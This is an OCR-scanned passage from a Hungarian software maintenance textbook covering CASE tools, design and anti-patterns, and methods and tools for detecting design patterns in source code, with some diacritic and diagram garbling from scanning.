struktirdjanak leirdsa, illetve tudds reprezentdldsa, kezelése terén nyujthatnak
tamogatast a szoftvermérnoknek.

e Munkapadok (Workbenches): Csak néhany folyamatot tamogatnak. Ezek olyan
alkalmazasok, amelyek néhany CASE eszkozt tartalmaznak. Igy egy alkalmazisba
integralva képes segiteni tobb eszkdzzel az adott folyamatot. Ezek nyolc alkategdridba
vannak sorolva, az alapjan, hogy a folyamat mely teriiletén alkalmazhatoak:

o Uzleti tervezés és modellezés,

Elemzés és tervezés,

Felhasznalo6i-interfész fejlesztés,

Programozas,

Verifikacio és Validacio,

,.Szerviz” és visszatervezes,

Konfiguraci6 menedzsment,

Projekt menedzsment.

o Kornyezetek (Environments): A szoftverfejlesztés folyamatanak nagy részében segit.
Egy koérnyezet CASE eszkdzok és workbench-ek halmaza. Ot csoportba szervezték

O O O O O O O

Oket:
o Eszkozkészletek,
o Nyelv kdzponta kornyezet,
o Integralt kornyezet,
o 4. generacids kdrnyezet,
o Folyamat kdzponta kdrnyezet.
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Funkcionalis szempont

Mindazonaltal nem csak egyféle csoportositdsa 1étezik az eszkozoknek. A kdvetkezOkben
felsorolasra keriilnek az eszkoztipusok funkcionalitas szerint csoportokba szedve, és példak
azokra, természetesen a teljesség igénye nélkiil.

Tervezoi eszkozok: PERT eszkozok, becslési eszkozok, tablazatkezelok stb.
Szerkeszt6 eszkozok: diagramszerkesztok, szovegszerkesztok stb.
Konfiguraciokezel6 eszkozok: verziokezel6 rendszerek, rendszerépitd eszkdzok stb.
Prototipus-készité6 eszkozok: nagyon magas szintli programnyelvek, felhasznaloi
interfész generatorok stb.

Modszertamogaté eszkozok: tervszerkesztok, adat szotarak, kodgeneratorok stb.
Nyelvi feldolgozé eszkozok: forditok, értelmezok stb.

Programelemzé eszkozok: keresztreferencia generatorok, statikus elemzdk,
dinamikus elemzok stb.

Teszteld eszkozok: tesztadat generatorok, allomany 6sszehasonlitok stb.

Nyomkoveto eszkozok: interaktiv nyomkdvetd, belovo rendszerek stb.
Dokumentacios eszkozok: arculattervezd programok, képszerkesztok stb.
Ujratervezési eszkozok: kereszthivatkozasi rendszerek, program ujrastrukturalé
rendszerek stb.

Valtoztataskezelo eszkozok: kovetelmény kovethetOségi eszkozok, valtozasvezérld
rendszerek stb.

Validacios, verifikaciés eszkozok: modell ellenérzd eszkozok, bizonyitdé rendszerek
stb.

Tevékenység szempont
Az 1. tablazat mutatja a kiilonb6z0 eszkozok felhasznalasi teriileteit, azaz, hogy a fejlesztés
mely szakaszaban lehet hasznunkra.
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1. tablazat. A CASE eszkozok felhasznalhatosaga

Specifikaci6 Tervezés Implementici6 V&V

Tervezdi eszk6zok ° ° ° °
Szerkesztd eszk6zok ° ° ° °
Konfiguraciokezeld eszkdzok ° °
Prototipus-készitd eszk6zok ° °
Moédszertdmogato eszk6zok ° °

Nyelvi feldolgozo6 eszk6zok ° °
Programelemz6 eszk6zok ° °
Tesztelo eszkozok ° °
Nyomkdvetd eszkdzok ° °
Dokumentacios eszkzok ° ° ° °
Ujratervezési eszkozok °
Viltoztataskezeld eszk6zok ° ° ° °
Validacios, verifikacios eszkozok ° ° °

Eszkozok

A korabban targyalt eszkdzok mind CASE eszk6zok, ugyanis azok a tervezés, fejlesztés,
karbantartas valamely szakaszanak elvégzésében nyujtanak segitséget a fejlesztoknek. Bar a
korabbi fejezetben targyalt eszk6zok maguk is mind CASE eszkozok, mégis azok egy
sziikebb teriilethez tartoznak, ezért keriiltek emlitésre az adott fejezetnél. A kdvetkezdkben
két altalanosabb, ingyenes CASE eszkozt emlitiink meg.

Green UML

A Green UML egy ingyenes szerkesztd, amely tdmogatja mind a szoftvertervezést, mind a
visszatervezést. Az eszkoz hasznalhatdé UML osztalydiagramok kodbol valod generalasara, és
rajzolt diagramokbol kodgeneralasra is. Specialitdsa, hogy barmilyen UML kornyezetben
tamogatast biztosit, mivel a kapcsolatok mind ,plug-in” alaptiak. Ez azt jelenti, hogy
barmikor hozzaadhatunk sajat kapcsolatokat, vagy kivehetjiik azokat, amelyek nem
sziikségesek. Tamogat mind jpg, mind gif exportalast. A Green UML a University at Buffalo
most is foly6 projektje. Hivatalos oldaluk: http://green.sourceforge.net/

Lucid Chart

A Lucid Chart egy online UML tervezd eszkdz. Eldnye, hogy nem sziikséges telepiteni, vagy
letdlteni semmit, barhonnan, egy bongészébdl indithaté a szerkeszté (Flash tamogatés
sziikséges hozzd). Mindamellett, hogy online szerkesztd, lehetdséget ad arra, hogy a
csapattagok valos idoben tudjanak egy adott projekten dolgozni (bar ez az opcid fizetds). A
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funkcionalitasok nem térnek el egy szokvanyos UML szerkeszt6tol. Egyszerti kezelhetdség,
tamogatott UML diagramok sokasaga jellemzi, mint majdnem az dsszes UML szerkesztot.
Hivatalos oldaluk: http://www.lucidchart.com/
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A forraskodban szerepld mintak felismeréséhez eldszor azt kell definidlnunk, hogy mi is az a
minta. Miutan ezt megtettiikk, kovetkezd 1€pésként tisztdzzuk, hogy milyen mintdkat is
vagyunk képesek felderiteni, illetve a szdmitastechnika fejlddése sordn milyen altaldnosan
elfogadott mintak alakultak ki.

Tervezési mintak

Egy szoftver tervezése soran néhdny fejlesztonek feltiint, hogy bizonyos problémak ujra és
ujra eldkeriilnek, fiiggetleniil attdl, hogy épp milyen szoftverrendszert készitenek. Felmeriilt
benniik az otlet, hogy az ilyen altalanos problémdkra kozzétennék a jol bevalt megoldasokat,
ezzel segitve sajat és kollégaik munkdjat. Valojaban az 6tlet mar korabban is foglalkoztatta az
embereket (1977), bar akkor ezt a problémat és annak megoldasat még csak az épitészetben
alkalmaztak.

A tervezési mintdk a szoftverfejlesztésben tehat nem madasok, mint altaldnos megoldasok
gyakran jelentkez6 szoftvertervezési problémakra. Ezek a mintdk nem kész kodrészletek, csak
altalanos sablont nyUjtanak gyakori tervezési problémak megoldasara. Erich Gamma, Richard
Helm, Ralph Johnson és John Vlissides kiadtak egy konyvet [3], amely ezeket az in. tervezési
mintdkat (design patterns) hivatott feltérképezni és Osszefoglalni. A konyv elsd felében a
programozas lehetdségei, veszélyei és csapdai keriilnek targyalasra, mig a masodik felében 23
tervezési mintat definidl, csoportokba sorolva. Mindegyik minta megkdveteli az objektum-
orientalt szemléletmodot és tervezést. A konyv harom csoportba foglalja a mintakat:
strukturalis, viselkedési és gyartdasi mintak. Ezek a tervezési minta csoportok folyamatosan
béviilnek, és egy 11j, konkurencia mintacsoportot is definiéltak.

A strukturdlis mintdk az osztalyok kozotti kapcsolatok egyszeri megvalositasanak
azonositasaval konnyitik meg az osztalyokbdl vagy objektumokbol all6 nagyobb struktarak
létrehozasat. A viselkedési minta csoport a program viselkedésére, kérésekre adott
reakcidjara, valamint a komponensek kozotti kommunikaciéra vonatkozé mintdkat fogja
Ossze. A gyartasi mintdk az objektumok Iétrehozasakor felmeriild problémakra adnak
megoldast. Sok esetben a fejlesztés soran nem is vagyunk annak tudatdban, hogy épp egy mar
évekkel ezeldtt definialt tervezési mintat alkalmazunk. Célszerli ezeket a mintakat attekinteni
a tervezés, fejlesztés sordn, mivel sok esetben segitséget nyujthatnak. A mintak leirdsai
altalaban a kovetkezoOket tartalmazzak: minta neve, minta alkalmazasanak célja, minta egyéb
ismert elnevezései, példa a kontextusra, amelyben a minta hasznalhat6, a minta struktaraja
(grafikus reprezentdcid), a minta szerepldi, implementacids tandcsok, példa a hasznalatra,
minta allandd, és modosithato részei, kapcsoldédd mintak, stb.

Egy strukturalis tervezési minta példaul a Composite (Osszetétel). Ez a tervezési minta segit
az objektumokat fa struktardba rendezni, rész-egész hierarchidban reprezentalva. A
Composite minta lehetdséget ad a kliensnek, hogy az egyes konkrét objektumokat és az
Osszetett objektumokat egységesen kezelje. A Composite minta megvaldsitasat a 14. abra
szemlélteti.

Ez a tervezési minta minden, az 6roklédési hierarchiaban szerepld elemet komponensnek
nevez (amely tartalmazhat absztrakt fliggvényeket). Amennyiben egy komponensnek nem
1étezik leszarmazottja, ugy 0 egy levél lesz, amelyben az 0sszes, még ki nem fejtett absztrakt
metodus megvaldsitasra keriil. Amennyiben 1étezik leszarmazottja, gy 6 egy Osszetett elem
lesz.
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0.+
child

+ operation()

Leaf Composite

+ operationi) + operation() - 1
+ add() parent

+ remove()

+ getChildy)

14. abra. A kompozit minta

Egy tipikus viselkedési tervezési minta példaul a Mediator (Kdzvetité). Tobb, egymassal
kapcsolatban 4116 objektum kommunikacidjanak egységbe (objektumba) zarasat irja le, illetve
arra kindl megoldast. Akkor érdemes a Mediator mintat hasznalni, ha az objektumok kozti
kommunikécio igen Osszetett, strukturalatlan, és nehezen érthetd a 1étrejott kapcsolatrendszer,
vagy ha egy objektum ujrahasznosithatésaga bonyolult lenne, mert sok mas objektummal all
kapcsolatban. A minta célja, hogy ketté vagy tobb - egymassal kommunikalni képtelen, vagy
csak nagyon komplex modon kommunikalo - osztaly kozott kozvetitd szerepet toltson be.
Elénye ennek a mintdnak, hogy az osztidlyoknak nem kell tudniuk egymads létezésérdl. A
Mediator minta megvaldsitasat 15. abra szemlélteti.

Mediator nediaior Collmague
o
4‘) é‘_\_ A
gy
ConcreteMediator IConcreteColloaguet ConcreteColleague

/N /

15. abra. Mediator minta
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Maga a Mediator osztily csak egy feliiletet definidl, amely a kommunikacios réteget
reprezentalja. Ennek az osztalynak a segitségével lesznek képesek az elemek kommunikalni
egymassal. A Mediator-bol szarmaznak a konkrét medidtor osztalyok, amelyek a konkrét
elemeket fogjdk koordinalni. Ezek a konkrét elemek pedig a Colleague leszarmazottai
lesznek. Igy egy ConcreteColleague csak a Mediator-t ismeri, (azt is csak kozvetetten), ezért
a Mediator altal reprezentalt kommunikécios csatornat felhaszndlva képes a tobbi elemmel
kommunikalni ugy, hogy nem is ismeri dket.

Ellenmintak

Az 1994-ben a Gang of Four (a négy szerzét szokas igy emliteni, GoF) altal publikalt
tervezési mintakat alapul véve, Andrew Koenig bevezette az antipattern (ellenminta)
fogalmat. A kovetkezoképpen definialta az ellenmintat:

SYAntipattern olyan, mint a pattern, kivéve, hogy valos megoldas helyett olyan megolddst

ad, amely latszolag helyesnek tiinik, de valojaban mégsem az.” [4]
Ezek olyan, a tervezés soran eléforduld mintdk, amelyek hibas és/vagy nemkivanatos
eredményre vezethetnek a gyakorlatban. Harom évvel késobb kiadtak egy nagy sikerti
konyvet ,,Antipatterns” cimmel. Masképpen fogalmazva az antipattern olyan minta, ami
megmondja, hogy hogyan jutunk el egy problématdl egy rossz megoldasig. A konyv meg is
magyarazza, hogy a rossz megoldas miért latszik vonzonak, és miért rossz mégis, illetve hogy
milyen j6 megolddsokat hasznaljunk helyette.
Egy ilyen antipattern példaul a ,,Call super” (s hivasa). A call super egy olyan minta, amiben
az egyik osztaly megkoveteli, hogy a leszarmazott osztalyai definialjak feliil valamely
metodusat, ¢és hivjak vissza magat a feliildefinidlt metodust a program egy meghatarozott
pontjan. A feliilirt metédus szdndékosan hidnyos lehet arra szamitva, hogy a feliildefiniald
metddus megfelelé modon terjeszti ki a miikodését. Azonban a tény, hogy a programozési
nyelv nem tudja biztositani az O0sszes sziikséges feltétel meglétét ehhez a hivashoz, ezt a
mintat ellenmintava teszi.
A call super ellenminta egy interfész, vagy keretrendszer felhasznaldira tdmaszkodik abban,
hogy azok leszarmaztassanak egy osztdlyt a megfeleld &sosztalybol, feliildefinialjak a
megfeleld metddusat, €s a feliildefinialt metodus meghivja az eredeti metddust a torzsén beliil.
Ez sok esetben sziikséges lehet, példaul ha az dsosztalynak valamilyen inicializaciot kell
végrehajtania a rendszer helyes miikodéséhez, vagy ha az G6sosztidly fo feladata csak a
leszarmazott osztalyokban lehet teljes egészében megvaldsitva. Ennek a probléménak a
megoldéasara helyesebb a Template Method tervezési mintat hasznalni, ahol az Ososztaly
megfeleld metddusa meghiv egy absztrakt metddust, amely absztrakt metédust minden
leszarmazott osztalyban meg kell valodsitani, igy az eredeti metodus ezt fogja meghivni.

Mintafelismerés

A korabban emlitett tervezési mintak felismerése, kodbol tortén6é automatikus detektalasa
nagyban segiti a szoftver visszatervezésének folyamatat, ami, mint tudjuk a szoftver
karbantarthatosaganak, modositasanak (reengineering) egyik alappillére. Eppen ezért fontos,
hogy minél pontosabban azonositsuk a rendszeriinkben a tervezési mintakat, mivel igy az
Ujratervezés ¢és atszervezés (reengineering, refactoring) folyamatat leegyszeriisithetjiik,
tovabba segiti a rendszer megértését, és vizualizalasat is. Szamos algoritmus, technika 1étezik
a tervezési mintak felismerésére. Sokan koziiliik eltéro kiindulo otletet alkalmaznak, mas-mas
technikai megvaldsitasokkal. Azonban szinte mindre igaz, hogy a minta felismerését ¢s
illesztését matematikai uton probalja megoldani (egy matematikai formula egyszerlien
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automatizalhat6). Altalaban elkiilonitheté maga a felismerés algoritmusa és az algoritmus
bemenetének elkészitése, azaz a rendszer mas alakbeli reprezentacidja.

A tervezési mintak detektalasara alkalmas megkozelitések bemenete altalaban a forraskod,
vagy annak egy mas reprezentacioja, példaul egy UML diagram, java bajtkod, stb. A legtobb
megkozelités minden egyes keresendd mintara ellendrzi a rendszer forraskodjat vagy
struktiréjat, és megprobalja felderiteni a mintéra illeszkedd részeket. Mindazonaltal vannak
olyan megkozelitések, amelyeket nem lehet teljesen automatizalni, mivel az egyes jellemzok
begylijtése manudlisan torténik, ami emberi beavatkozast igényel.

Statikus detektalas

A statikus detektalas soran csak a forraskodot vessziik alapul, €s azon végezziik az elemzést.
Ennek a megkozelitésnek az elénye, hogy altalaban gyors, és nem igényli a rendszer valds
futtatasat. Ez sok esetben elény, mivel a kiilonb6z6 alkalmazasszerverek, futtatdé kornyezetek
beiizemelése sok 1d6t és energiat emészthet fel. Elonye még ennek a megkozelitésnek, hogy
nem kell futtathatd allapotban lennie a kodnak, félig elkésziilt megvaldsitast is lehet
statikusan elemezni, azaz a fejlesztési folyamat soran folyamatosan végezhetd elemzés, nem
csak a végén.

Masrészrdl hatranya, hogy a statikus elemzés nem képes minden tervezési mintat feltarni. A
viselkedési mintdk detektaldsa nehéz csak statikus elemzéssel (legalabbis nagy pontossaggal).
A kovetkezOkben a statikus elemzési modszerek koziil targyalunk néhanyat.

Matrix reprezentdcion alapulo detektaldas

Jing Dong, Yongtao Sun ¢és Yajing Zhao [5] 2008-ban publikaltak egy matrix reprezentacion
alapulé mintakeresd algoritmust, és annak egy megvaldsitasat. Az 6 megkozelitésiik 1ényege,
hogy mind a forraskodot, azaz magat a rendszert, mind pedig a keresendd mintat matrixként
reprezentaljak, majd kereszt korrelacioval kiszdmitjdk ezek hasonldsagi értékét, amibdl
kovetkeztetéseket vonnak le, és meghatarozzak a tervezési mintak vélhetd fajtajat és helyét. A
miivelet sordn létrehozzak a rendszert, és a tervezési mintat reprezentalé matrixot. Példaul, a
rendszer X matrixanak x;; értéke a generalt matrixban az 6roklddési kapcsolatot jelenti az i és
a j osztaly kozott: az 1 jelenti, hogy van kapcsolat, a 0 pedig, hogy nincs. A tervezési minta
matrixat ugyanilyen modon definidljak. Ez a megkozelités nem csak hogy megtalalja a pontos
egyezéseket a mintakkal, de még azok lehetséges valtozatait is detektalja.

A szerzok készitettek egy prototipus alkalmazast is, amely ezt az algoritmust valositja meg.
Az eredményeik igen biztatdéak, nagy pontossagot mutatnak. Egy 600 osztalyt tartalmazo
open-source programot elemezve (JHotDraw 6.0) 51 Adapter, 29 State és 1 darab Decorator
mintat detektaltak.

Grdfillesztésen alapulo detektdlas

Egy masik statikus megkozelités szerint [6], a forraskodbol kiépithetd graf reprezentaciot kell
alapul venni, mert abbol képesek lehetiink tervezési mintdkat felismerni. Ebben a
megoldasban a detektdlhatdé mintdk listdja nem teljes. Csupan csak néhany, magasabb
absztrakcioszintli mintdt nem képes a modszer detektalni (példaul Facade minta). Ebben a
megkozelitésben a detektdldst tobb Iépésben végzik. Az elsé 1épés a rendszer

e

crer

grafjan. A térgyalt modszer [6] a rendszer abrazolasara ASG-t, mig a mintdk megfeleld

© Ferenc Rudolf, SzTE www. tankonyvtar.hu




38 SZOFTVERKARBANTARTAS

crer

DPML egy XML alapu tervezési mintat leir6 nyelv (ennek a DPML-nek a definidlasa egy
DTD-vel torténik). Miutan létrehoztdk a rendszer ASG grafjat és a mintak DPML leirdsat
betdltottek egy szabvanyos DOM fa formatumba, a kdvetkezd 1épésben a detektalod algoritmus
DPML illeszkedéseket, talalatokat keres az ASG-ben. Ez a keresés tulajdonképpen egy graf
illesztés, ahol a pontok az osztalyok, az élek pedig a koztiik 1évd kapcsolatok.

Maga a keresés két 1épésben zajlik:

e FElso Iépésként kigylijt egy olyan halmazt, amely lehetséges minta eléfordulasokat
tartalmaz. Ezt ugy csindlja, hogy a rendszer minden osztalyara megprobalja railleszteni
az 0sszes mintat. Ebben a 1épésben még csak ,,nagy vonalakban” keres elemeket. Csak
¢és kizarolag a kapcsolatokat nézi. Tehdt ha egy osztily rendelkezik olyan tipust
kapcsolatokkal més osztalyok felé, mint amilyet az aktudlis minta definial, akkor az
osztaly bekeriil ebbe a halmazba.

e Masodik 1épésként ezt a halmazt sziiri tovabb. Ebben a 1épésben mar a halmaz dsszes
elemére sokkal pontosabb illesztéseket keres. Megnézi az osztaly adott kapcsolatainak
a masik végén 1évd osztalyokat is, és elemzi Oket aszerint, hogy megfelelnek-e a
mintaban szereplovel. Ekkor mar nem csak a kapcsolatok meglétét ellendrzi (mint az
elsd Iépésben), hanem a kapcsolatok masik végén szerepld osztalyokat is.

Azért sziikséges ez a két 1€pés, mert a graf pont (osztaly) éleit, és az élek mésik oldalan 1évo
osztalyok azonositoit konstans idében elérjiik, mig egy osztalyazonositd alapjan a teljes
osztaly lekérése joval tobb idét vesz igénybe. Igy az elsé 1épés viszonylag gyors, és a
kimenete mar egy szlikebb halmaz, mint a kiindul6 teljes graf. Ebben a kisebb halmazban az
azonositd alapjan vald lekérések szama igy lényegesen kevesebb lesz, tehat az algoritmus
gyorsabb.

UML alapu detektalas

1996-ban Christian Kramer ¢és Lutz Prechelt publikaltak egy cikket [8], amelyben egy Pat
nevll mintafelismerd programot mutatnak be. A program Prolog nyelven irdédott, és a
mintadetektalast tobb részfeladatra bontja. A detektalds folyamatanak elso, és legfontosabb
eleme a minta megaddsa. Ehhez egy specidlis OMT (Object Modeling Technique)
diagrambeli reprezentaciot haszndlnak, amely hasonlit arra az alakra, amelyben a GoF
definialta annak idején a tervezési mintakat. Az OMT az UML elddjének tekinthetd objektum
modellez6 grafikus nyelv. Masodik 1épésként ezeket az alakokat Prolog specifikussa alakitjak.
A forraskédot egy objektum-orientalt CASE eszkdzzel (Paradigm Plus 2.01 Platinum)
elemzik, majd kinyerik a szerkezetet OMT alakban. A kovetkezd 1épésben ezt az alakot is
Prolog specifikussa teszik. A tényleges mintakeresés ezek utan kovetkezik, amikor is a két
Prolog specifikus alakot 6sszehasonlitjak, és minta el6forduldsokat keresnek. Ez a fazis az,
amikor a szabalyokat (Rules, a tervezési minta) a tényekkel (Facts, a forrasbol szdrmazo6 adat)
allitjak szembe, és hasonlosagokat keresnek. A modszer hatranya, hogy csak a strukturalis
tervezési mintakat képes detektalni.

Dinamikus detektalas

A dinamikus detektalds altalaban lassabban végezhetd miivelet, mivel ilyenkor a rendszert
miikodés kozben kell monitorozni, elemezni. Viszont ez a mivelet sokkal pontosabb
detektalast tesz lehetéve, foleg a viselkedési mintak felismerésében.
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Altalaban a dinamikus detektalas két folyamatbol all. Az elsé, amikor is a futd rendszerrdl
informdciokat nyeriink ki, a méasodik, amikor ezeket feldolgozzuk. Ez a két folyamat torténhet
egyszerre, de egymas utan is.

A futds kozbeni elemzést altaldban profilozd programok segitségével lehet a
leghatékonyabban elvégezni. Ezek a profilerezé eszk6zok nyomon tudjak kovetni, hogy a
megadott program épp mely fiiggvényét hivja, épp mit tartalmaz a heap, vagy épp mennyi
CPU-t hasznal. Ezek a programok altaldban arra hasznalatosak, hogy elemezziik a kodunkat
annak érdekében, hogy fel tudjuk gyorsitani, példaul tigy, hogy a legtobbet hivott osztalyt
optimalizaljuk. A tervezési minta detektalasanak a szempontjabdl szamunkra a lényeges
informécio ebbdl, hogy képes nyomon kdvetni, és akdr valds iddben is jelezni, hogy a
program mely fiiggvény utan melyiket hivta. Ez az informacié elengedhetetlen ahhoz, hogy a
viselkedési mintakat detektdlni tudjuk (legaldbbis a pontos detektildshoz sziikséges). Ezen
informaciok feldolgozasaval detektalhatjuk a legpontosabban a viselkedési mintakat.
Altalaban a pontos és széleskorii felismerés érdekében a statikus és dinamikus elemzést egyiitt
szoktak alkalmazni.

Statikus és dinamikus elemzés kombindldsa

Hakjin Lee, Hyunsang Youn ¢és Eunseok Lee 2008-ban publikalt egy cikket [11] a tervezési
mintak felismerésére. A modszer alapja, hogy mind dinamikus, mind statikus elemzésnek
alaveti a kodot, igy biztositva a lehetd legnagyobb pontossagot. A dinamikus elemzés
elengedhetetlen a viselkedési mintak felismeréséhez. Allitasuk szerint az sszes GoF altal
definidlt mintat képesek felderiteni, azonban szerintiik a GoF altal definialt tervezési minta
osztalyozas csak a forward engineering-et tdimogatja. Mivel a tervezési mintdk detektalasa a
reverse engineering teriiletén is nagyon nagy szerephez jut, ezért Ok ujraosztalyoztik a
mintakat, és az alabbi 3 csoportot hoztak 1étre:

o Statikus strukturalis mintak: Ezek azok a mintdk, amelyeket az osztilyok kozotti
kapcsolatok elemzésével képesek vagyunk statikusan, egy UML diagramhoz
hasonldan elemezni és detektalni. Ilyen példaul a Composite.

o Dinamikus viselkedési mintak: Ezek azok a mintak, amelyek kiilonb6z6 objektum
példanyok és osztalyok kozotti viselkedésekbdl detektalhatok. Leirasuk hasonld lehet
mas mintakhoz, ¢és a pontos detektdlasukhoz sziikséges a programot mikodés kozben
elemezni. Ezeket a mintdkat a dinamikus és statikus elemzés egyiittes hasznalataval
vagyunk képesek detektalni. [lyen minta példaul a Decorator.

e Program specifikus mintak: Azok a mintdk tartoznak ebbe a csoportba, amelyek mar
programozdi ,.stilust” kdvetnek, vagy specialis, csak az adott programozasi nyelvben
hasznalatos kodbol allnak. Ezeket a mintakat nem lehet sem dinamikus, sem statikus
elemzéssel detektalni. Ezen minték detektalasdhoz plusz informaciok kellenek, példaul
a specifikus kod, vagy a stilus leirasa. Ilyen minta a Prototype.

A tervezési mintak detektalasanak folyamata 5 1€pésbdl all:

1. Elsé 1épésként a bemenetet specifikaljak. A forraskodbol valamilyen magasabb szintii
reprezentaciot allitanak eld, példaul egy AST fat vagy ASG gréfot.

2. Masodik Iépésként a statikus elemzé algoritmussal definidljadk a statikus strukturalis
mintakat, majd illeszkedéseket keresnek az el6zd 1épés eredményével. Ha a minta
keresése ,,jonak tiinik”, akkor eltaroljak ezeket az elemeket, maskiilonben eltavolitjak
a jelzett osztalyt az el6zd 1épés eredményeként kapott reprezentaciobol. Ehhez a
detektalashoz a sajat XMI (XML Metadata Interchange) elemzdjiiket hasznaljak.
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3. A kovetkezd Iépésben statikus elemzésnek vetik ald a kodot ismét, de most a
dinamikus viselkedési mintdk eléforduldsat keresik. Erre a 1épésre azért van sziikség,
hogy meggyorsitsak a kovetkezd dinamikus keresést.

4. Mindezek utan futtatjak a programot. Futds kézben begytijtik, monitorozzak a metodus
hivasok nyomait. Ezek az informéciok kinyerhetdk példaul a JDI-vel (Java Debug
Interface). Kozben figyelik, hogy az eldre definialt dinamikus viselkedési mintakkal
talalnak-e egyezést. Ha talalnak, akkor eltaroljak.

5. Az utolsé 1épésben a program specifikus mintdkat keresik. Mégpedig gy, hogy az
elére megadott ,,minta katalégusban” szereplé kod specifikus elemek detektalasara
Osszpontositanak. Ez a detektalasi modszer a GoF altal definialt 23 tervezési minta
koziil 3-at (Template Method, Interpreter €s a Memento) nem képes detektalni.

Egy masik megkozelités [9] kombinalva hasznélja a statikus és dinamikus elemzést. Amint
lattuk, az el6z6 modszerben a dinamikus és statikus elemzés ,.kombinaldsa” annyit jelentett,
hogy egy adott tipusu minta detektalasdhoz statikus elemzést, mig mdsikhoz dinamikust
hasznal. Ezzel ellentétben, ez a megkozelités valoban kombinalja a két modszert, mivel a
lényege, hogy a statikus elemzés kimenete lesz a dinamikus elemzés bemenete.

A két elemzés szigorti egymas utanisaga nem kikotés. Az elsé folyamat a statikus elemzés,
amely eredménye egy minta halmaz. Ez a mintahalmaz a lehetséges, azaz ,,gyanus” tervezési
mintak helyét tartalmazza. Ez altaldban egy nagyon nagy halmaz, mivel a kicsit is valoszini
mintdkat sem lehet elvetni. A kovetkezd 1épésben dinamikus elemzésnek vetik ald a kodot.
Vagy céliranyosan, csak az el6z6 1€épés kimenetébe esé elemeket kovetik nyomon, és azokat,
amiket mindkét 1€pés mintdnak tart, kikerlilnek az eredmény halmazba, vagy képeznek egy
halmazt arrél, hogy a dinamikus futds sordn milyen mintdkat detektdltak, és a statikus
eredmény halmazzal metszetet képezve adnak eredményt. Ebben az esetben a két miivelet
parhuzamosan is végezheto, és egy harmadik 1épésben dsszesitik.

Tervezési minta detektalo eszkozok

Szamos tervezési minta detektald eszkoz 1étezik, amelyeket kiillonb6zd tulajdonsagaik alapjan
csoportosithatunk. Ilyen tulajdonsag példaul a felismert mintak tipusa és szama, az elemzés
modja (statikus, dinamikus, kombindlt), a detektalds soran hasznalt program, illetve minta
reprezentacidja (ASG, Prolog, matrix/vektor, XML/DOM, osztalydiagram, stb.), vagy csak
Csoportosithatjuk az eszkozoket aszerint, hogy milyen megkozelitést hasznalnak. A
Columbus, a Pat, a DP++ és a JBOORET példaul strukturélis megkozelitést alkalmaz, azaz a
rendszer felépitését elemzik. A strukturalis és viselkedési nézdpontot egylittesen alkalmazo
eszkozok példaul a PINOT és a PRAssistor. A tervezési mintdk viselkedés alapt
megkozelitése tipikusan a metddus hivasok jegyzésével torténik. Egyes modszerek statikusan
elemzik a futds eredményét, mig masok dinamikusan, futasi idében [10].

Egy masik csoportositds a rendszer, illetve a minta koztes reprezentacioja alapjan torténhet.
Columbus, PINOT ¢és a FUJABA. A Columbus a rendszer forrasabol ASG grafot épit, és azt
elemzi, mig a minta leirasa DPML-ben torténik (egy sajat XML formatum). A FUJABA mind
a rendszert, mind pedig a mintdt ASG-vel reprezentalja. A PINOT a mintat DFG (Data Flow
Graph) és CFG (Control Flow Graph) forméban dolgozza fel. Vannak eszkozok, amelyek
egyedi nyelvet hasznalnak a rendszer és a minta leirasara. Ilyen példaul a Ptidej, ami a
rendszert egy specidlis CSP (Communicating Sequential Processes) formatumban elemzi. A
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CSP, vagy process algebra egy formadlis nyelv parhuzamos rendszerek kommunikacios
mintainak leirasara [10].

A Pat, PINOT ¢és a Ptidej pontos egyezéseket, mig a Columbus és a FUJIABA megkdzelitd
egyezéseket keres. A FUJABA a bottom-up és top-down megkozelitéseket kombinaltan
hasznalva elemez, interaktiv modon. A PINOT adat és vezérlési folyam elemzéssel teszi
ugyanezt [10].
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Egy korabbi fejezetben (Szoftvervisszatervezés) mar emlitettiink néhany olyan eszkozt,
amelyek feladata automatikus dokumentéaciogeneralas (Doxygen, Rigi, ArgoUML). Ezek az
eszkozok gyakran egy-egy diagram eldallitasaval segitik az alkalmazas miikodésének vagy
felépitésének dokumentalast. Hamar felismerték a szoftverfejlesztésben, hogy a mindig
naprakész, és érvényes dokumentdcio megkonnyiti a fejlesztést. Az uj fejlesztések mellett
rengeteget segit a karbantartasban is. Sokkal konnyebben tudnak 0j emberek bekapcsolodni a
fejlesztésbe, vagy atvenni kiillonb6z6 funkcidk karbantartasat, ha érvényes dokumentacidval
parosul maga a forraskod. Az ember kozelibb nyelvek mindig kénnyebben érthetéek, mint a
gépkozeli nyelvek.

Mindazonaltal a naprakész dokumentéicio jelentds koltség- és idomegtakaritast is jelent,
hiszen a dokumentaci6 elkészitése és karbantartasa is koltséget és id6t igényel. Ezt a
folyamatot ezért automatizalt dokumentélassal, dokumentacidgeneraldssal érdemes segiteni.
A fejlesztéi dokumentacid generalasra egy jo példa a javadoc. Nincs kiilon fejlesztd
kornyezet, maga a fejlesztd, aki a kddot irja, késziti a dokumentéciot. A forraskdédban olyan
kommenteket helyezhetiink el (/** */ kozott) a fobb programszerkezeti egységekhez
(csomagokhoz, tipusdefinicidkhoz, attributumokhoz, metdédusokhoz és konstruktorokhoz),
amelyeket a javadoc segitségével automatikusan generalt dokumentacidban (HTML
formatumban) jelenithetliink meg. A javadoc elénye, hogy a fejlesztére bizza a dokumentalast.
Késobb pedig barki képes kigeneraltatni egy strukturalt, formdzott, tiszta és attekinthetd
HTML dokumentumot. Sot, a javadoc felprogramozasaval, doclet irdsaval akarmilyen egyéb
formatumu kimenetet eléallithatunk a dokumentalt kodbol.

Az automatizalas csak a generdlasra €s a formazasra terjed ki, a szoveges leirast pedig kézzel
kell bevinni. Ez a miivelet részben automatizalhat6. Egyes fejlesztéi kornyezetek (pl. Eclipse)
mar elég jo tAmogatast nyujtanak ahhoz, hogy az s osztalyok, interfészek alapjan, valamint a
metddus paraméterei, visszatérési tipusai alapjan egy kezdetleges javadoc commentet
kigeneraljanak, hogy segitsék a fejleszté munkajat. Ez a kezdetleges (,,csonk) comment
altalaban csak alapvetd automatikusan kinyerhetd informdciot tartalmaz, amit a fejlesztonek
azért még késobb ki kell egésziteni.

Architekturarekonstrukcio

A szoftver architektura fogalmanak nincs egy konkrét szabvanyos, mindenki altal elfogadott
¢s alkalmazott definicidja. Az egyetemi ¢€s ipari szféraban egyarant kutatok sora kisérelt meg
pontos definiciot alkotni, melynek egy rendszerezett, atfogd gyiijteménye taldlhaté meg a
Carnegie Mellon Egyetem Szoftverfejlesztés Intézetének (Software Engineering Institute -
SEI) honlapjan  (http://www.sei.cmu.edu/architecture/published definitions.html). Egy
klasszikusnak szamit6 definici6 Mary Shaw és David Garlan nevéhez fiiz6dik, melyet még
